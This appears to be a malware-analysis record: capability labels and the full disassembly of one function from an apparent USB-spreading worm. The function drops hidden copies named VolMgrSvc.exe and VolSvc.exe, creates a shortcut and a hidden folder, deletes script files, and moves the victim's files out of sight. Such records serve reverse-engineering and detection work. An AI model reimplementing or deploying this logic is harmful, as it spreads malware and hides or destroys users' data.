Function at 0x406850
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1514
call sub.ntdll.dll__chkstk
mov eax, dword [ebp + 0x10]
and eax, 0x80000
je 0x40686e
xor al, al
jmp 0x406ee0
mov dword [ebp - 0x824], 0x41434c
mov byte [ebp - 0xe41], 0
mov ecx, dword [ebp + 0xc]
push ecx
push str._s.lnk
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x4111a0
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sVolMgrSvc.exe
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sVolSvc.exe
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x4111f8
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
movzx edx, byte [0x41b670]
test edx, edx
jne 0x406950
call fcn.00406260
movzx eax, al
cmp eax, 1
jne 0x406950
mov byte [0x41b670], 1
lea ecx, [ebp - 0x14b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4069a2
lea edx, [ebp - 0x14b0]
push edx
call fcn.0040efc0
add esp, 4
mov dword [ebp - 0x14b4], eax
mov eax, dword [0x41b258]
cmp eax, dword [ebp - 0x14b4]
je 0x4069a2
push 0x80
lea ecx, [ebp - 0x14b0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x12a0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4069d5
push 0
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4069d5
push 2
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x14b0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406a3d
push 0x80
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x12a0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406a3d
push 0
lea ecx, [ebp - 0x14b0]
push ecx
push 0x41b468
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406a3d
push 3
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
movzx eax, byte [0x41b670]
cmp eax, 1
jne 0x406b3d
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406ac4
push 0x41b260
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406ac2
lea edx, [ebp - 0xa30]
push edx
call fcn.0040efc0
add esp, 4
mov dword [ebp - 0x14b8], eax
push 0x41b260
call fcn.0040efc0
add esp, 4
mov dword [ebp - 0x14bc], eax
mov eax, dword [ebp - 0x14b8]
cmp eax, dword [ebp - 0x14bc]
je 0x406ac2
push 0x80
lea ecx, [ebp - 0xa30]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa30]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406b3d
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406b3d
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406b05
push 0x80
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406b3d
push 0
lea edx, [ebp - 0xa30]
push edx
push 0x41b260
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406b3d
push 3
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406bf1
movzx edx, byte [ebp + 0x14]
test edx, edx
je 0x406b9f
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406b85
push 9
push 0x411210
lea ecx, [ebp - 0xc38]
push ecx
push 1
call fcn.004065d0
add esp, 0x10
jmp 0x406b9d
push 9
push 0x411228
lea edx, [ebp - 0xc38]
push edx
push 0
call fcn.004065d0
add esp, 0x10
jmp 0x406be2
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x406bca
push 8
push 0x411240
lea ecx, [ebp - 0xc38]
push ecx
push 1
call fcn.004065d0
add esp, 0x10
jmp 0x406be2
push 8
push str.shell32.dll
lea edx, [ebp - 0xc38]
push edx
push 0
call fcn.004065d0
add esp, 0x10
push 1
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1098]
push ecx
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x12a4], eax
cmp dword [ebp - 0x12a4], 0xffffffff
je 0x406eda
mov dword [ebp - 0x1508], str..lnk
mov dword [ebp - 0x1504], str..vbs
mov dword [ebp - 0x1500], str..js
mov dword [ebp - 0x14fc], str..scr
mov dword [ebp - 0x14f8], str..com
mov dword [ebp - 0x14f4], str..jse
mov dword [ebp - 0x14f0], str..cmd
mov dword [ebp - 0x14ec], str..pif
mov dword [ebp - 0x14e8], str..jar
mov dword [ebp - 0x14e4], str..dll
mov dword [ebp - 0x14e0], str..vbe
mov dword [ebp - 0x14dc], str..bat
mov dword [ebp - 0x14d8], str..inf
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x14d4], eax
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x14d0], ecx
mov dword [ebp - 0x14cc], str.Thumbs.db
mov dword [ebp - 0x14c8], str._RECYCLE.BIN
mov dword [ebp - 0x14c4], str.desktop.ini
mov dword [ebp - 0x14c0], str.System_Volume_Information
push 0x411388
lea edx, [ebp - 0x106c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406d06
push 0x41138c
lea eax, [ebp - 0x106c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x406d0b
jmp 0x406eb1
mov byte [ebp - 0x150a], 0
mov dword [ebp - 0x1510], 0
jmp 0x406d2d
mov ecx, dword [ebp - 0x1510]
add ecx, 1
mov dword [ebp - 0x1510], ecx
cmp dword [ebp - 0x1510], 6
jae 0x406d62
mov edx, dword [ebp - 0x1510]
mov eax, dword [ebp + edx*4 - 0x14d4]
push eax
lea ecx, [ebp - 0x106c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x406d57
jmp 0x406d1e
mov byte [ebp - 0x150a], 1
jmp 0x406d62
movzx edx, byte [ebp - 0x150a]
test edx, edx
je 0x406d72
jmp 0x406eb1
mov byte [ebp - 0x1509], 0
mov dword [ebp - 0x1514], 0
jmp 0x406d94
mov eax, dword [ebp - 0x1514]
add eax, 1
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0xd
jae 0x406e0b
mov ecx, dword [ebp - 0x1514]
mov edx, dword [ebp + ecx*4 - 0x1508]
push edx
lea eax, [ebp - 0x106c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x406dbe
jmp 0x406d85
lea ecx, [ebp - 0x106c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x411394
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x1509], 1
jmp 0x406e0b
movzx eax, byte [ebp - 0x1509]
test eax, eax
je 0x406e1b
jmp 0x406eb1
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x406e31
jmp 0x406eb1
lea edx, [ebp - 0x106c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x4113a0
lea ecx, [ebp - 0xe40]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x106c]
push edx
mov eax, dword [ebp - 0x824]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_s
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov eax, dword [ebp - 0x1098]
and eax, 0x10
je 0x406e9b
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0xe40]
push edx
call fcn.00406710
add esp, 8
jmp 0x406eb1
push 9
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xe40]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0x1098]
push edx
mov eax, dword [ebp - 0x12a4]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406cda
mov ecx, dword [ebp - 0x12a4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xe41]
mov esp, ebp
pop ebp
ret